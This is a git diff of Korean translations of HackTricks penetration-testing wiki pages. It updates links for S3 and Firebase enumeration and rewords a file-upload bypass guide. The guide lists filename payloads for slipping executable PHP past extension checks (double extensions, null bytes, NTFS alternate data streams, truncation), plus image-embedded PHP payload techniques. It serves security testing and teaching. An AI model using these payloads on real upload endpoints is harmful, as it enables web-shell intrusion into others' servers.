a/src/network-services-pentesting/pentesting-web/buckets/README.md +++ b/src/network-services-pentesting/pentesting-web/buckets/README.md @@ -5,7 +5,7 @@ ๋ฒ„ํ‚ท์„ ์—ด๊ฑฐํ•˜๊ณ  ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•ด ๋” ์•Œ๊ณ  ์‹ถ๋‹ค๋ฉด ์ด ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•˜์„ธ์š”: {{#ref}} -https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum +https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.html#aws---s3-unauthenticated-enum {{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md b/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md index 37d7d0ad3..e5a399406 100644 --- a/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md +++ b/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md @@ -4,12 +4,12 @@ ## Firebase๋ž€ ๋ฌด์—‡์ธ๊ฐ€ -Firebase๋Š” ์ฃผ๋กœ ๋ชจ๋ฐ”์ผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์œ„ํ•œ Backend-as-a-Service์ž…๋‹ˆ๋‹ค. ์ด๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ ๋ฐฑ์—”๋“œ ๊ฐ„์˜ ์ƒํ˜ธ์ž‘์šฉ์„ ์šฉ์ดํ•˜๊ฒŒ ํ•˜๋Š” ๋ฉ‹์ง„ SDK์™€ ์—ฌ๋Ÿฌ ๊ฐ€์ง€ ํฅ๋ฏธ๋กœ์šด ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•˜์—ฌ ๋ฐฑ์—”๋“œ ํ”„๋กœ๊ทธ๋ž˜๋ฐ์˜ ๋ถ€๋‹ด์„ ๋œ์–ด์ฃผ๋Š” ๋ฐ ์ค‘์ ์„ ๋‘๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. +Firebase๋Š” ์ฃผ๋กœ ๋ชจ๋ฐ”์ผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์œ„ํ•œ Backend-as-a-Service์ž…๋‹ˆ๋‹ค. ์ด๋Š” ๋ฐฑ์—”๋“œ ํ”„๋กœ๊ทธ๋ž˜๋ฐ์˜ ๋ถ€๋‹ด์„ ๋œ์–ด์ฃผ๊ณ , ๋ฉ‹์ง„ SDK์™€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ ๋ฐฑ์—”๋“œ ๊ฐ„์˜ ์ƒํ˜ธ์ž‘์šฉ์„ ์šฉ์ดํ•˜๊ฒŒ ํ•˜๋Š” ์—ฌ๋Ÿฌ ํฅ๋ฏธ๋กœ์šด ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. Firebase์— ๋Œ€ํ•ด ๋” ์•Œ์•„๋ณด๋ ค๋ฉด: {{#ref}} -https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum +https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/gcp-services/gcp-firebase-enum.html {{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 6fb0aff43..40bcc3158 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -18,7 +18,7 @@ ### ํŒŒ์ผ ํ™•์žฅ์ž ๊ฒ€์‚ฌ ์šฐํšŒ 1. ์ ์šฉ๋˜๋Š” ๊ฒฝ์šฐ, **์ด์ „ ํ™•์žฅ์ž**๋ฅผ **ํ™•์ธ**ํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ **๋Œ€๋ฌธ์ž**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ…Œ์ŠคํŠธํ•ฉ๋‹ˆ๋‹ค: _pHp, .pHP5, .PhAr ..._ -2. _์‹คํ–‰ ํ™•์žฅ์ž ์•ž์— **์œ ํšจํ•œ ํ™•์žฅ์ž ์ถ”๊ฐ€** ํ™•์ธ (์ด์ „ ํ™•์žฅ์ž๋„ ์‚ฌ์šฉ):_ +2. _์‹คํ–‰ ํ™•์žฅ์ž ์•ž์— **์œ ํšจํ•œ ํ™•์žฅ์ž๋ฅผ ์ถ”๊ฐ€** ํ™•์ธํ•ฉ๋‹ˆ๋‹ค (์ด์ „ ํ™•์žฅ์ž๋„ ์‚ฌ์šฉ):_ - _file.png.php_ - _file.png.Php5_ 3. **ํŠน์ˆ˜ ๋ฌธ์ž๋ฅผ ๋์— ์ถ”๊ฐ€**ํ•ด ๋ณด์‹ญ์‹œ์˜ค. Burp๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ชจ๋“  **ascii** ๋ฐ **Unicode** ๋ฌธ์ž๋ฅผ **๋ธŒ๋ฃจํŠธํฌ์Šค**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. (_์ด์ „์˜ **ํ™•์žฅ์ž**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋” ๋‚˜์€ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ค€๋น„ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค._) @@ -31,7 +31,7 @@ - _file._ - _file.php...._ - _file.pHp5...._ -4. **์„œ๋ฒ„ ์ธก์˜ ํ™•์žฅ์ž ํŒŒ์„œ๋ฅผ ์†์—ฌ** ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•ด ๋ณด์‹ญ์‹œ์˜ค. **ํ™•์žฅ์ž**๋ฅผ **๋‘ ๋ฒˆ** ์ถ”๊ฐ€ํ•˜๊ฑฐ๋‚˜ **์“ฐ๋ ˆ๊ธฐ** ๋ฐ์ดํ„ฐ (**null** ๋ฐ”์ดํŠธ)๋ฅผ ํ™•์žฅ์ž ์‚ฌ์ด์— ์ถ”๊ฐ€ํ•˜๋Š” ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. _์ด์ „ ํ™•์žฅ์ž๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋” ๋‚˜์€ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ค€๋น„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค._ +4. **์„œ๋ฒ„ ์ธก์˜ ํ™•์žฅ์ž ํŒŒ์„œ๋ฅผ ์†์—ฌ** ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•ด ๋ณด์‹ญ์‹œ์˜ค. **ํ™•์žฅ์ž๋ฅผ ๋‘ ๋ฒˆ** ์ถ”๊ฐ€ํ•˜๊ฑฐ๋‚˜ **์“ฐ๋ ˆ๊ธฐ** ๋ฐ์ดํ„ฐ๋ฅผ ํ™•์žฅ์ž ์‚ฌ์ด์— ์ถ”๊ฐ€ํ•˜๋Š” ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -40,18 +40,18 @@ - _file.php%0a.png_ - _file.php%0d%0a.png_ - _file.phpJunk123png_ -5. ์ด์ „ ๊ฒ€์‚ฌ์— **๋˜ ๋‹ค๋ฅธ ํ™•์žฅ์ž ๋ ˆ์ด์–ด ์ถ”๊ฐ€**: +5. ์ด์ „ ๊ฒ€์‚ฌ์— **๋˜ ๋‹ค๋ฅธ ํ™•์žฅ์ž ๋ ˆ์ด์–ด๋ฅผ ์ถ”๊ฐ€**ํ•ฉ๋‹ˆ๋‹ค: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. **์œ ํšจํ•œ ํ™•์žฅ์ž ์•ž์— exec ํ™•์žฅ์ž ์ถ”๊ฐ€**ํ•˜๊ณ  ์„œ๋ฒ„๊ฐ€ ์ž˜๋ชป ๊ตฌ์„ฑ๋˜๊ธฐ๋ฅผ ๊ธฐ๋„ํ•ฉ๋‹ˆ๋‹ค. (Apache ์ž˜๋ชป ๊ตฌ์„ฑ์—์„œ ์œ ์šฉํ•˜๋ฉฐ, **.php**๋กœ ๋๋‚˜์ง€ ์•Š๋”๋ผ๋„ ๋ชจ๋“  ๊ฒƒ์ด ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค): +6. **์œ ํšจํ•œ ํ™•์žฅ์ž ์•ž์— exec ํ™•์žฅ์ž๋ฅผ ๋„ฃ๊ณ ** ์„œ๋ฒ„๊ฐ€ ์ž˜๋ชป ๊ตฌ์„ฑ๋˜๊ธฐ๋ฅผ ๊ธฐ๋„ํ•ฉ๋‹ˆ๋‹ค. (Apache ์ž˜๋ชป ๊ตฌ์„ฑ์—์„œ ์œ ์šฉํ•˜๋ฉฐ, **.php**๋กœ ๋๋‚˜์ง€ ์•Š๋”๋ผ๋„ ๋ชจ๋“  ๊ฒƒ์ด ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค): - _์˜ˆ: file.php.png_ 7. **Windows**์—์„œ **NTFS ๋Œ€์ฒด ๋ฐ์ดํ„ฐ ์ŠคํŠธ๋ฆผ (ADS)** ์‚ฌ์šฉ. ์ด ๊ฒฝ์šฐ, ๊ธˆ์ง€๋œ ํ™•์žฅ์ž ๋’ค์— ์ฝœ๋ก  ๋ฌธ์ž โ€œ:โ€๊ฐ€ ์‚ฝ์ž…๋˜๊ณ  ํ—ˆ์šฉ๋œ ํ™•์žฅ์ž ์•ž์— ์‚ฝ์ž…๋ฉ๋‹ˆ๋‹ค. ๊ฒฐ๊ณผ์ ์œผ๋กœ **๊ธˆ์ง€๋œ ํ™•์žฅ์ž๋ฅผ ๊ฐ€์ง„ ๋นˆ ํŒŒ์ผ**์ด ์„œ๋ฒ„์— ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค (์˜ˆ: โ€œfile.asax:.jpgโ€). ์ด ํŒŒ์ผ์€ ๋‚˜์ค‘์— ๋‹ค๋ฅธ ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•˜์—ฌ ํŽธ์ง‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. โ€œ**::$data**โ€ ํŒจํ„ด์„ ์‚ฌ์šฉํ•˜์—ฌ ๋น„์–ด ์žˆ์ง€ ์•Š์€ ํŒŒ์ผ์„ ์ƒ์„ฑํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ด ํŒจํ„ด ๋’ค์— ์  ๋ฌธ์ž๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ๋„ ์ถ”๊ฐ€ ์ œํ•œ์„ ์šฐํšŒํ•˜๋Š” ๋ฐ ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (์˜ˆ: โ€œfile.asp::$data.โ€) 8. ํŒŒ์ผ ์ด๋ฆ„ ์ œํ•œ์„ **๊นจ๋œจ๋ ค** ๋ณด์‹ญ์‹œ์˜ค. ์œ ํšจํ•œ ํ™•์žฅ์ž๊ฐ€ ์ž˜๋ฆฌ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์•…์„ฑ PHP๊ฐ€ ๋‚จ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. AAA<--SNIP-->AAA.php ``` -# ๋ฆฌ๋ˆ…์Šค ์ตœ๋Œ€ 255 ๋ฐ”์ดํŠธ +# Linux ์ตœ๋Œ€ 255 ๋ฐ”์ดํŠธ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 -Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # ์—ฌ๊ธฐ์„œ 4๋ฅผ ๋นผ๊ณ  .png ์ถ”๊ฐ€ +Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # ์—ฌ๊ธฐ์„œ 4๋ฅผ ๋นผ๊ณ  .png ์ถ”๊ฐ€ # ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•˜๊ณ  ์‘๋‹ต์„ ํ™•์ธํ•˜์—ฌ ํ—ˆ์šฉ๋˜๋Š” ๋ฌธ์ž์˜ ์ˆ˜๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด 236 python -c 'print "A" * 232' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @@ -67,38 +67,38 @@ AAA<--SNIP 232 A-->AAA.php.png `exiftool -Comment="' >> img.png` -- **์••์ถ•์ด ์ด๋ฏธ์ง€์— ์ถ”๊ฐ€๋˜๋Š” ๊ฒฝ์šฐ**, ์˜ˆ๋ฅผ ๋“ค์–ด [PHP-GD](https://www.php.net/manual/fr/book.image.php)์™€ ๊ฐ™์€ ํ‘œ์ค€ PHP ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ, ์ด์ „ ๊ธฐ์ˆ ์€ ์œ ์šฉํ•˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ **PLTE ์ฒญํฌ** [**์—ฌ๊ธฐ ์ •์˜๋œ ๊ธฐ์ˆ **](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)์„ ์‚ฌ์šฉํ•˜์—ฌ ์••์ถ•์„ ๊ฒฌ๋”œ ์ˆ˜ ์žˆ๋Š” ํ…์ŠคํŠธ๋ฅผ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- [**์ฝ”๋“œ๊ฐ€ ํฌํ•จ๋œ Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- ์›น ํŽ˜์ด์ง€๊ฐ€ **์ด๋ฏธ์ง€์˜ ํฌ๊ธฐ๋ฅผ ์กฐ์ •**ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด PHP-GD ํ•จ์ˆ˜ `imagecopyresized` ๋˜๋Š” `imagecopyresampled`๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ **IDAT ์ฒญํฌ** [**์—ฌ๊ธฐ ์ •์˜๋œ ๊ธฐ์ˆ **](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)์„ ์‚ฌ์šฉํ•˜์—ฌ ์••์ถ•์„ ๊ฒฌ๋”œ ์ˆ˜ ์žˆ๋Š” ํ…์ŠคํŠธ๋ฅผ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- [**์ฝ”๋“œ๊ฐ€ ํฌํ•จ๋œ Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- PHP-GD ํ•จ์ˆ˜ `thumbnailImage`๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **์ด๋ฏธ์ง€ ํฌ๊ธฐ ์กฐ์ •**์„ ๊ฒฌ๋”œ ์ˆ˜ ์žˆ๋Š” ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋งŒ๋“œ๋Š” ๋˜ ๋‹ค๋ฅธ ๊ธฐ์ˆ . ๊ทธ๋Ÿฌ๋‚˜ **tEXt ์ฒญํฌ** [**์—ฌ๊ธฐ ์ •์˜๋œ ๊ธฐ์ˆ **](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)์„ ์‚ฌ์šฉํ•˜์—ฌ ์••์ถ•์„ ๊ฒฌ๋”œ ์ˆ˜ ์žˆ๋Š” ํ…์ŠคํŠธ๋ฅผ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- [**์ฝ”๋“œ๊ฐ€ ํฌํ•จ๋œ Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) +- **์••์ถ•์ด ์ด๋ฏธ์ง€์— ์ถ”๊ฐ€๋˜๋Š” ๊ฒฝ์šฐ**, ์˜ˆ๋ฅผ ๋“ค์–ด [PHP-GD](https://www.php.net/manual/fr/book.image.php)์™€ ๊ฐ™์€ ํ‘œ์ค€ PHP ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ, ์ด์ „ ๊ธฐ์ˆ ์€ ์œ ์šฉํ•˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ **PLTE ์ฒญํฌ** [**์—ฌ๊ธฐ์„œ ์ •์˜๋œ ๊ธฐ์ˆ **](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)์„ ์‚ฌ์šฉํ•˜์—ฌ ์••์ถ•์„ ๊ฒฌ๋”œ ์ˆ˜ ์žˆ๋Š” ํ…์ŠคํŠธ๋ฅผ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- [**์ฝ”๋“œ๊ฐ€ ์žˆ๋Š” Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) +- ์›น ํŽ˜์ด์ง€๊ฐ€ **์ด๋ฏธ์ง€์˜ ํฌ๊ธฐ๋ฅผ ์กฐ์ •**ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด PHP-GD ํ•จ์ˆ˜ `imagecopyresized` ๋˜๋Š” `imagecopyresampled`๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ **IDAT ์ฒญํฌ** [**์—ฌ๊ธฐ์„œ ์ •์˜๋œ ๊ธฐ์ˆ **](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)์„ ์‚ฌ์šฉํ•˜์—ฌ ์••์ถ•์„ ๊ฒฌ๋”œ ์ˆ˜ ์žˆ๋Š” ํ…์ŠคํŠธ๋ฅผ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- [**์ฝ”๋“œ๊ฐ€ ์žˆ๋Š” Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) +- PHP-GD ํ•จ์ˆ˜ `thumbnailImage`๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **์ด๋ฏธ์ง€ ํฌ๊ธฐ ์กฐ์ •์„ ๊ฒฌ๋”œ ์ˆ˜ ์žˆ๋Š”** ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋งŒ๋“œ๋Š” ๋˜ ๋‹ค๋ฅธ ๊ธฐ์ˆ . ๊ทธ๋Ÿฌ๋‚˜ **tEXt ์ฒญํฌ** [**์—ฌ๊ธฐ์„œ ์ •์˜๋œ ๊ธฐ์ˆ **](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)์„ ์‚ฌ์šฉํ•˜์—ฌ ์••์ถ•์„ ๊ฒฌ๋”œ ์ˆ˜ ์žˆ๋Š” ํ…์ŠคํŠธ๋ฅผ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- [**์ฝ”๋“œ๊ฐ€ ์žˆ๋Š” Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) ### ํ™•์ธํ•  ๊ธฐํƒ€ ํŠธ๋ฆญ -- ์ด๋ฏธ ์—…๋กœ๋“œ๋œ ํŒŒ์ผ์˜ **์ด๋ฆ„์„ ๋ฐ”๊ฟ€ ์ˆ˜ ์žˆ๋Š” ์ทจ์•ฝ์ **์„ ์ฐพ์Šต๋‹ˆ๋‹ค (ํ™•์žฅ์ž๋ฅผ ๋ณ€๊ฒฝ). +- ์ด๋ฏธ ์—…๋กœ๋“œ๋œ ํŒŒ์ผ์˜ **์ด๋ฆ„์„ ๋ฐ”๊ฟ€ ์ˆ˜ ์žˆ๋Š”** ์ทจ์•ฝ์ ์„ ์ฐพ์Šต๋‹ˆ๋‹ค (ํ™•์žฅ์ž๋ฅผ ๋ณ€๊ฒฝ). - **๋กœ์ปฌ ํŒŒ์ผ ํฌํ•จ** ์ทจ์•ฝ์ ์„ ์ฐพ์•„ ๋ฐฑ๋„์–ด๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. - **์ •๋ณด ์œ ์ถœ ๊ฐ€๋Šฅ์„ฑ**: 1. **๋™์ผํ•œ ํŒŒ์ผ**์„ **์—ฌ๋Ÿฌ ๋ฒˆ** (๊ทธ๋ฆฌ๊ณ  **๋™์‹œ์—**) **๋™์ผํ•œ ์ด๋ฆ„**์œผ๋กœ ์—…๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค. 2. **์ด๋ฏธ ์กด์žฌํ•˜๋Š”** **ํŒŒ์ผ** ๋˜๋Š” **ํด๋”**์˜ **์ด๋ฆ„**์œผ๋กœ ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค. -3. **โ€œ.โ€, โ€œ..โ€, ๋˜๋Š” โ€œโ€ฆโ€**๋ฅผ ์ด๋ฆ„์œผ๋กœ ๊ฐ€์ง„ ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, Windows์˜ Apache์—์„œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์—…๋กœ๋“œ๋œ ํŒŒ์ผ์„ โ€œ/www/uploads/โ€ ๋””๋ ‰ํ† ๋ฆฌ์— ์ €์žฅํ•˜๋Š” ๊ฒฝ์šฐ, โ€œ.โ€ ํŒŒ์ผ ์ด๋ฆ„์€ โ€œ/www/โ€ ๋””๋ ‰ํ† ๋ฆฌ์— โ€œuploadsโ€๋ผ๋Š” ํŒŒ์ผ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. -4. **NTFS**์—์„œ ์‰ฝ๊ฒŒ ์‚ญ์ œํ•  ์ˆ˜ ์—†๋Š” ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค. (Windows) ์˜ˆ: **โ€œโ€ฆ:.jpgโ€** -5. **Windows**์—์„œ **์ž˜๋ชป๋œ ๋ฌธ์ž**๊ฐ€ ํฌํ•จ๋œ ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค. (Windows) ์˜ˆ: `|<>*?โ€` -6. **Windows**์—์„œ **์˜ˆ์•ฝ๋œ** (**๊ธˆ์ง€๋œ**) **์ด๋ฆ„**์œผ๋กœ ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9. +3. **โ€œ.โ€, โ€œ..โ€, ๋˜๋Š” โ€œโ€ฆโ€**๋ฅผ ์ด๋ฆ„์œผ๋กœ ๊ฐ€์ง„ ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, Apache์—์„œ **Windows**์˜ ๊ฒฝ์šฐ, ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์—…๋กœ๋“œ๋œ ํŒŒ์ผ์„ โ€œ/www/uploads/โ€ ๋””๋ ‰ํ† ๋ฆฌ์— ์ €์žฅํ•˜๋ฉด, โ€œ.โ€ ํŒŒ์ผ ์ด๋ฆ„์€ โ€œ/www/โ€ ๋””๋ ‰ํ† ๋ฆฌ์— โ€œuploadsโ€๋ผ๋Š” ํŒŒ์ผ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. +4. **NTFS**์—์„œ ์‰ฝ๊ฒŒ ์‚ญ์ œํ•  ์ˆ˜ ์—†๋Š” ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค (์˜ˆ: **โ€œโ€ฆ:.jpgโ€**). (Windows) +5. **Windows**์—์„œ ์ด๋ฆ„์— **์ž˜๋ชป๋œ ๋ฌธ์ž**๋ฅผ ๊ฐ€์ง„ ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค (์˜ˆ: `|<>*?โ€`). (Windows) +6. **Windows**์—์„œ **์˜ˆ์•ฝ๋œ** (**๊ธˆ์ง€๋œ**) **์ด๋ฆ„**์„ ๊ฐ€์ง„ ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค (์˜ˆ: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9). - ๋˜ํ•œ **์‹คํ–‰ ํŒŒ์ผ** (.exe) ๋˜๋Š” **.html** (๋œ ์˜์‹ฌ์Šค๋Ÿฌ์šด) ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•˜์—ฌ ํ”ผํ•ด์ž๊ฐ€ ์šฐ์—ฐํžˆ ์—ด์—ˆ์„ ๋•Œ **์ฝ”๋“œ๋ฅผ ์‹คํ–‰**ํ•˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. ### ํŠน์ˆ˜ ํ™•์žฅ์ž ํŠธ๋ฆญ -**PHP ์„œ๋ฒ„**์— ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•˜๋ ค๋Š” ๊ฒฝ์šฐ, [์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•œ **.htaccess** ํŠธ๋ฆญ์„ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\ +**PHP ์„œ๋ฒ„**์— ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•˜๋ ค๋Š” ๊ฒฝ์šฐ, [์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•œ **.htaccess** ํŠธ๋ฆญ์„ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ **ASP ์„œ๋ฒ„**์— ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•˜๋ ค๋Š” ๊ฒฝ์šฐ, [์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•œ **.config** ํŠธ๋ฆญ์„ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -`.phar` ํŒŒ์ผ์€ Java์˜ `.jar`์™€ ์œ ์‚ฌํ•˜์ง€๋งŒ PHP์— ๋Œ€ํ•œ ๊ฒƒ์ด๋ฉฐ, **PHP ํŒŒ์ผ์ฒ˜๋Ÿผ ์‚ฌ์šฉ**๋  